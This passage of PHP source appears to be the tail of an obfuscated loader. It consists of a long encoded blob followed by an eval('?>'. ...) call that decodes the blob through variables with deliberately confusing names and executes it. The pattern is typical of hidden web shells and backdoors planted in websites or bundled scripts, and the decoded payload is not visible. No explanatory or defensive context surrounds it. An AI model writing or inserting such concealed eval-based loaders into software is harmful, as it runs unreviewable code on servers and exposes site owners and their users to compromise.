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";  
        eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),    
        $OO0O00($O0O000,0,$OO0000))));"));?>